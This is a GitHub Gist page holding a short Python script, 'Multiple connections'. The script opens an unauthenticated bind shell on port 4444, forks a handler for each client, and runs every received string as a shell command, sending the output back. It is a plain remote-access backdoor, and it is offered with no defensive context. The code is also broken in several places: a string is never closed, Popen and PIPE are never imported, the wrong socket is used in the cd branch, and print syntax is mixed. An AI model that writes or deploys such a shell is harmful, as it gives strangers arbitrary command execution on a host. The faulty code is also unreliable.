Created
April 13, 2012 02:44
-
-
Save deadbits/2373147 to your computer and use it in GitHub Desktop.
Multiple connections
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os,sys | |
import socket | |
import time | |
HOST = '' | |
PORT = 4444 | |
activePID = [] | |
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
conn.bind((HOST, PORT)) | |
conn.listen(5) | |
print("Listening on port %s" % PORT) | |
def reaper(): | |
while activePID: | |
pid,stat = os.waitpid(0, os.WNOHANG) | |
if not pid: break | |
activePID.remove(pid) | |
def handler(connection): | |
time.sleep(5) | |
print("Starting new connection...) | |
while 1: | |
cmd = connection.recv(1024) | |
proc = Popen(cmd, | |
shell=True, | |
stdout=PIPE, | |
stderr=PIPE, | |
stdin=PIPE, | |
) | |
stdout, stderr = proc.communicate() | |
if cmd.startswith('cd'): | |
destination = cmd[3:].replace('\n','') | |
if os.path.isdir(destination): | |
os.chdir(destination) | |
conn.send("\n shell => ") | |
else: | |
conn.send("[!] Directory does not exist") | |
conn.send("\n shell => ") | |
elif proc: | |
connection.send( stdout ) | |
connection.send("\n shell => ") | |
connection.close() | |
os._exit(0) | |
def accept(): | |
while 1: | |
connection, address = conn.accept() | |
print "[!] New connection!" | |
reaper() | |
childPid = os.fork() # forks the incoming connection and sends to handler | |
if childPid == 0: | |
connection.send("\n shell => ") | |
handler(connection) | |
else: | |
activePID.append(childPid) | |
accept() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment